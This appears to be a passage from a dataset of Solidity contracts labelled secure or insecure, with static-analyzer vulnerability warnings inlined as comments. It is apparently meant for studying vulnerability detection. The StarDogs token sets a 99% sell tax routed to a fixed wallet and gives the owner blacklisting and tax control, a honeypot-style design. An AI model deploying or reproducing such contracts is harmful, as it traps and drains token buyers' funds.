{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 38a2cc1): Contract locking ether found Contract StarDogs has payable functions StarDogs.receive() But does not have a function to withdraw the ether\n// Recommendation for 38a2cc1: Remove the 'payable' attribute or add a withdraw function.\ncontract StarDogs is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 1_000_000_000e18;\n\n uint256 private constant onePercent = 10_000_000e18;\n\n uint256 private constant minSwap = 250_000e18;\n\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint8 private launch;\n\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n\n uint256 public maxTxAmount = onePercent;\n\n string private constant _name = \"Star Dogs\";\n\n string private constant _symbol = \"STARS\";\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n mapping(address => bool) private _blacklist;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 0;\n\n sellTax = 99;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0xE5aaA7E74798125870357D8fD488e5bf7fA3E427);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFeeWallet[marketingWallet] = true;\n\n _isExcludedFromFeeWallet[msg.sender] = true;\n\n _isExcludedFromFeeWallet[address(this)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 18f00f2): StarDogs.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 18f00f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e30b14e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e30b14e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c8c2fc1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c8c2fc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e30b14e\n\t\t// reentrancy-benign | ID: c8c2fc1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e30b14e\n\t\t// reentrancy-benign | ID: c8c2fc1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ed67ee): StarDogs._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ed67ee: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c8c2fc1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e30b14e\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = 1;\n\n launchBlock = block.number;\n }\n\n function addExcludedWallet(address wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n function whitelistMany(address[] calldata _addresses) external onlyOwner {\n for (uint256 i = 0; i < _addresses.length; i++) {\n _isExcludedFromFeeWallet[_addresses[i]] = true;\n }\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 02b455f): StarDogs.changeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 02b455f: Emit an event for critical parameter changes.\n function changeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 02b455f\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 02b455f\n sellTax = newSellTax;\n }\n\n function addToBlacklist(address account) external onlyOwner {\n _blacklist[account] = true;\n }\n\n function removeFromBlacklist(address account) external onlyOwner {\n _blacklist[account] = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 048de42): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 048de42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d355a9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d355a9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n require(!_blacklist[from], \"Sender is blacklisted\");\n\n require(!_blacklist[to], \"Recipient is blacklisted\");\n\n uint256 _tax;\n\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 2% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: 048de42\n\t\t\t\t\t// reentrancy-events | ID: e30b14e\n\t\t\t\t\t// reentrancy-benign | ID: c8c2fc1\n\t\t\t\t\t// reentrancy-no-eth | ID: d355a9e\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: d355a9e\n inSwapAndLiquify = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: d355a9e\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: d355a9e\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: d355a9e\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: 048de42\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 048de42\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: d355a9e\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: d355a9e\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 048de42\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 38a2cc1): Contract locking ether found Contract StarDogs has payable functions StarDogs.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 38a2cc1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1421.sol", "secure": 0, "size_bytes": 11599 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Paperhand is ERC20, Ownable {\n constructor() ERC20(\"Paperhand\", \"PAPERHAND\") {\n _mint(msg.sender, 1 * 10 ** 27);\n }\n}", "file_name": "solidity_code_1422.sol", "secure": 1, "size_bytes": 338 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ITargetContract {\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n", "file_name": "solidity_code_1423.sol", "secure": 1, "size_bytes": 285 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./ITargetContract.sol\" as ITargetContract;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 871a263): Contract locking ether found Contract WithdrawProxy has payable functions WithdrawProxy.receive() But does not have a function to withdraw the ether\n// Recommendation for 871a263: Remove the 'payable' attribute or add a withdraw function.\ncontract WithdrawProxy {\n\t// WARNING Optimization Issue (immutable-states | ID: c10c571): WithdrawProxy.targetContract should be immutable \n\t// Recommendation for c10c571: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public targetContract;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d584a4d): WithdrawProxy.owner should be immutable \n\t// Recommendation for d584a4d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public owner;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 24579d5): WithdrawProxy.constructor(address)._targetContract lacks a zerocheck on \t targetContract = _targetContract\n\t// Recommendation for 24579d5: Check that the address is not zero.\n constructor(address _targetContract) {\n\t\t// missing-zero-check | ID: 24579d5\n targetContract = _targetContract;\n\n owner = payable(msg.sender);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the owner\");\n\n _;\n }\n\n function withdrawTokens() external onlyOwner {\n ITargetContract target = ITargetContract(targetContract);\n\n uint256 tokenBalance = target.balanceOf(targetContract);\n\n require(tokenBalance > 0, \"No tokens to withdraw\");\n\n require(target.transfer(owner, tokenBalance), \"Token transfer failed\");\n }\n\n function withdrawETH() external onlyOwner {\n (bool success, ) = targetContract.call{value: 0}(\n abi.encodeWithSignature(\"manualSwap()\")\n );\n\n require(success, \"ETH withdrawal failed\");\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 871a263): Contract locking ether found Contract WithdrawProxy has payable functions WithdrawProxy.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 871a263: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1424.sol", "secure": 0, "size_bytes": 2507 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IDefispotToken {\n function mint(uint256 amount) external returns (bool);\n}", "file_name": "solidity_code_1425.sol", "secure": 1, "size_bytes": 157 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProof {\n error MerkleProofInvalidMultiproof();\n\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProof(proof, leaf) == root;\n }\n\n function verifyCalldata(\n bytes32[] calldata proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProofCalldata(proof, leaf) == root;\n }\n\n function processProof(\n bytes32[] memory proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function processProofCalldata(\n bytes32[] calldata proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function multiProofVerify(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProof(proof, proofFlags, leaves) == root;\n }\n\n function multiProofVerifyCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProofCalldata(proof, proofFlags, leaves) == root;\n }\n\n function processMultiProof(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 proofLen = proof.length;\n\n uint256 totalHashes = proofFlags.length;\n\n if (leavesLen + proofLen != totalHashes + 1) {\n revert MerkleProofInvalidMultiproof();\n }\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n if (proofPos != proofLen) {\n revert MerkleProofInvalidMultiproof();\n }\n\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function processMultiProofCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 proofLen = proof.length;\n\n uint256 totalHashes = proofFlags.length;\n\n if (leavesLen + proofLen != totalHashes + 1) {\n revert MerkleProofInvalidMultiproof();\n }\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n if (proofPos != proofLen) {\n revert MerkleProofInvalidMultiproof();\n }\n\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {\n return a < b ? _efficientHash(a, b) : _efficientHash(b, a);\n }\n\n function _efficientHash(\n bytes32 a,\n bytes32 b\n ) private pure returns (bytes32 value) {\n assembly {\n mstore(0x00, a)\n\n mstore(0x20, b)\n\n value := keccak256(0x00, 0x40)\n }\n }\n}", "file_name": "solidity_code_1426.sol", "secure": 1, "size_bytes": 4965 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"./IDefispotToken.sol\" as IDefispotToken;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\n\ncontract TokenVesting is Ownable, ReentrancyGuard {\n uint256 public constant ONE_DAY = 1 days;\n\n bytes32 public constant MERKLE_ROOT =\n 0x8cc9ef9750a0cffd6d386a7b8dee907ef4e2074eb1c64cdee1d3143b0442e41d;\n\n mapping(address => bool) public whitelistClaimed;\n\n struct VestingSchedule {\n address beneficiary;\n uint256 cliff;\n uint256 start;\n uint256 duration;\n uint256 slicePeriodSeconds;\n uint256 amountTotal;\n uint256 released;\n bool initialized;\n bool revocable;\n bool revoked;\n }\n\n IERC20 private immutable _token;\n\n uint256 private vestingSchedulesTotalAmount;\n\n mapping(bytes32 => VestingSchedule) private vestingSchedules;\n\n mapping(address => uint256) private holdersVestingCount;\n\n bytes32[] private vestingSchedulesIds;\n\n using SafeERC20 for IERC20;\n\n event LogNewVestingSchedule(\n address _sender,\n address _beneficiary,\n bytes32 _vestingScheduleId,\n uint256 _vestingCount\n );\n\n event Released(uint256 amount);\n\n event Revoked();\n\n modifier onlyIfVestingScheduleExists(bytes32 vestingScheduleId) {\n require(\n vestingSchedules[vestingScheduleId].initialized,\n \"Schedule should exist!\"\n );\n\n _;\n }\n\n modifier onlyIfVestingScheduleNotRevoked(bytes32 vestingScheduleId) {\n require(\n vestingSchedules[vestingScheduleId].initialized,\n \"is not initialized!\"\n );\n\n require(\n !vestingSchedules[vestingScheduleId].revoked,\n \"vesting schedule revoked!\"\n );\n\n _;\n }\n\n constructor(address token_) Ownable(msg.sender) {\n require(token_ != address(0x0), \"zero address not allowed!\");\n\n _token = IERC20(token_);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c59d441): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c59d441: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function whitelistClaim(\n bytes32[] calldata _merkleProof,\n uint256 _vestedAmount,\n uint256 _initialAmount,\n uint256 _cliff,\n uint256 _duration,\n bool _revocable\n ) external nonReentrant returns (bool status) {\n require(!whitelistClaimed[msg.sender], \"Address already claimed!\");\n\n whitelistClaimed[msg.sender] = true;\n\n bytes32 leaf = keccak256(\n abi.encode(\n msg.sender,\n _vestedAmount,\n _initialAmount,\n _cliff,\n _duration,\n block.chainid,\n _revocable\n )\n );\n\n require(\n MerkleProof.verify(_merkleProof, MERKLE_ROOT, leaf),\n \"invalid proof\"\n );\n\n if (_initialAmount > 0) {\n\t\t\t// reentrancy-benign | ID: c59d441\n require(\n IDefispotToken(address(_token)).mint(_initialAmount),\n \"mint failed!\"\n );\n\n\t\t\t// reentrancy-benign | ID: c59d441\n _token.safeTransfer(msg.sender, _initialAmount);\n }\n\n\t\t// reentrancy-benign | ID: c59d441\n status = _createVestingSchedule(\n msg.sender,\n getCurrentTime(),\n _cliff,\n _duration,\n ONE_DAY,\n _revocable,\n _vestedAmount\n );\n\n require(status, \"Scheduled failed!\");\n }\n\n function getVestingSchedulesCountByBeneficiary(\n address _beneficiary\n ) external view returns (uint256) {\n return holdersVestingCount[_beneficiary];\n }\n\n function getVestingIdAtIndex(\n uint256 index\n ) external view returns (bytes32) {\n require(index < getVestingSchedulesCount(), \"index out of bounds!\");\n\n return vestingSchedulesIds[index];\n }\n\n function getVestingScheduleByAddressAndIndex(\n address holder,\n uint256 index\n ) external view returns (VestingSchedule memory) {\n return\n getVestingSchedule(\n computeVestingScheduleIdForAddressAndIndex(holder, index)\n );\n }\n\n function getVestingSchedulesTotalAmount() external view returns (uint256) {\n return vestingSchedulesTotalAmount;\n }\n\n function getToken() external view returns (address) {\n return address(_token);\n }\n\n function createVestingSchedule(\n address _beneficiary,\n uint256 _cliff,\n uint256 _duration,\n uint256 _slicePeriodSeconds,\n bool _revocable,\n uint256 _amount\n ) external onlyOwner returns (bool status) {\n status = _createVestingSchedule(\n _beneficiary,\n getCurrentTime(),\n _cliff,\n _duration,\n _slicePeriodSeconds,\n _revocable,\n _amount\n );\n\n require(status, \"Scheduled failed!\");\n }\n\n function _createVestingSchedule(\n address _beneficiary,\n uint256 _start,\n uint256 _cliff,\n uint256 _duration,\n uint256 _slicePeriodSeconds,\n bool _revocable,\n uint256 _amount\n ) private returns (bool) {\n require(_beneficiary != address(0), \"beneficiary equals zero!\");\n\n require(_duration > _cliff, \"duration is not valid!\");\n\n require(_amount > 0, \"amount must be > 0\");\n\n require(_slicePeriodSeconds >= 1, \"slicePeriodSeconds must be >= 1\");\n\n bytes32 vestingScheduleId = computeNextVestingScheduleIdForHolder(\n _beneficiary\n );\n\n uint256 cliff = _start + _cliff;\n\n\t\t// reentrancy-benign | ID: c59d441\n vestingSchedules[vestingScheduleId] = VestingSchedule(\n _beneficiary,\n cliff,\n _start,\n _duration,\n _slicePeriodSeconds,\n _amount,\n 0,\n true,\n _revocable,\n false\n );\n\n vestingSchedulesTotalAmount = vestingSchedulesTotalAmount + _amount;\n\n vestingSchedulesIds.push(vestingScheduleId);\n\n holdersVestingCount[_beneficiary]++;\n\n emit LogNewVestingSchedule(\n msg.sender,\n _beneficiary,\n vestingScheduleId,\n holdersVestingCount[_beneficiary]\n );\n\n\t\t// reentrancy-benign | ID: c59d441\n require(IDefispotToken(address(_token)).mint(_amount), \"mint failed!\");\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 570a4b3): TokenVesting.revoke(bytes32) uses timestamp for comparisons Dangerous comparisons vestedAmount > 0\n\t// Recommendation for 570a4b3: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a17f4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a17f4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function revoke(\n bytes32 vestingScheduleId\n ) external onlyOwner onlyIfVestingScheduleNotRevoked(vestingScheduleId) {\n VestingSchedule storage vestingSchedule = vestingSchedules[\n vestingScheduleId\n ];\n\n require(vestingSchedule.revocable, \"vesting is not revocable!\");\n\n uint256 vestedAmount = _computeReleasableAmount(vestingSchedule);\n\n\t\t// timestamp | ID: 570a4b3\n if (vestedAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9a17f4c\n require(release(vestingScheduleId), \"release failed!\");\n }\n\n uint256 unreleased = vestingSchedule.amountTotal -\n vestingSchedule.released;\n\n\t\t// reentrancy-eth | ID: 9a17f4c\n vestingSchedulesTotalAmount = vestingSchedulesTotalAmount - unreleased;\n\n\t\t// reentrancy-eth | ID: 9a17f4c\n vestingSchedule.revoked = true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 167b808): TokenVesting.withdraw(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(getWithdrawableAmount() >= amount,not enough withdrawable funds!)\n\t// Recommendation for 167b808: Avoid relying on 'block.timestamp'.\n function withdraw(uint256 amount) external nonReentrant onlyOwner {\n\t\t// timestamp | ID: 167b808\n require(\n getWithdrawableAmount() >= amount,\n \"not enough withdrawable funds!\"\n );\n\n _token.safeTransfer(owner(), amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: eff51d6): TokenVesting.release(bytes32) uses timestamp for comparisons Dangerous comparisons require(bool,string)(amount > 0,zero releasable amount!)\n\t// Recommendation for eff51d6: Avoid relying on 'block.timestamp'.\n function release(\n bytes32 vestingScheduleId\n )\n public\n nonReentrant\n onlyIfVestingScheduleNotRevoked(vestingScheduleId)\n returns (bool)\n {\n VestingSchedule storage vestingSchedule = vestingSchedules[\n vestingScheduleId\n ];\n\n bool isBeneficiary = msg.sender == vestingSchedule.beneficiary;\n\n bool isOwner = msg.sender == owner();\n\n require(isBeneficiary || isOwner, \"only beneficiary and owner!\");\n\n uint256 amount = _computeReleasableAmount(vestingSchedule);\n\n\t\t// timestamp | ID: eff51d6\n require(amount > 0, \"zero releasable amount!\");\n\n vestingSchedule.released = vestingSchedule.released + amount;\n\n address beneficiaryPayable = vestingSchedule.beneficiary;\n\n vestingSchedulesTotalAmount = vestingSchedulesTotalAmount - amount;\n\n\t\t// reentrancy-eth | ID: 9a17f4c\n _token.safeTransfer(beneficiaryPayable, amount);\n\n return true;\n }\n\n function getVestingSchedulesCount() public view returns (uint256) {\n return vestingSchedulesIds.length;\n }\n\n function computeReleasableAmount(\n bytes32 vestingScheduleId\n )\n external\n view\n onlyIfVestingScheduleNotRevoked(vestingScheduleId)\n returns (uint256)\n {\n VestingSchedule storage vestingSchedule = vestingSchedules[\n vestingScheduleId\n ];\n\n return _computeReleasableAmount(vestingSchedule);\n }\n\n function getVestingSchedule(\n bytes32 vestingScheduleId\n ) public view returns (VestingSchedule memory) {\n return vestingSchedules[vestingScheduleId];\n }\n\n function getWithdrawableAmount() public view returns (uint256) {\n return _token.balanceOf(address(this)) - vestingSchedulesTotalAmount;\n }\n\n function computeNextVestingScheduleIdForHolder(\n address holder\n ) public view returns (bytes32) {\n return\n computeVestingScheduleIdForAddressAndIndex(\n holder,\n holdersVestingCount[holder]\n );\n }\n\n function getLastVestingScheduleForHolder(\n address holder\n ) external view returns (VestingSchedule memory) {\n return\n vestingSchedules[\n computeVestingScheduleIdForAddressAndIndex(\n holder,\n holdersVestingCount[holder] - 1\n )\n ];\n }\n\n function computeVestingScheduleIdForAddressAndIndex(\n address holder,\n uint256 index\n ) public pure returns (bytes32) {\n return keccak256(abi.encodePacked(holder, index));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9f600c9): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9f600c9: Avoid relying on 'block.timestamp'.\n function _computeReleasableAmount(\n VestingSchedule memory vestingSchedule\n ) internal view returns (uint256) {\n uint256 currentTime = getCurrentTime();\n\n\t\t// timestamp | ID: 9f600c9\n if ((currentTime < vestingSchedule.cliff) || vestingSchedule.revoked) {\n return 0;\n } else if (\n\t\t\t// timestamp | ID: 9f600c9\n currentTime >= vestingSchedule.start + vestingSchedule.duration\n ) {\n return vestingSchedule.amountTotal - vestingSchedule.released;\n } else {\n uint256 vestedSeconds = currentTime - vestingSchedule.start;\n\n uint256 vestedAmount = (vestingSchedule.amountTotal *\n vestedSeconds) / vestingSchedule.duration;\n\n vestedAmount = vestedAmount - vestingSchedule.released;\n\n return vestedAmount;\n }\n }\n\n function getCurrentTime() internal view virtual returns (uint256) {\n return block.timestamp;\n }\n}", "file_name": "solidity_code_1427.sol", "secure": 0, "size_bytes": 13676 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DancingBaby is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e7c1378): DancingBaby._taxWallet should be immutable \n\t// Recommendation for e7c1378: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c90da7): DancingBaby._initialBuyTax should be constant \n\t// Recommendation for 5c90da7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 323b3b5): DancingBaby._initialSellTax should be constant \n\t// Recommendation for 323b3b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a265b04): DancingBaby._reduceBuyTaxAt should be constant 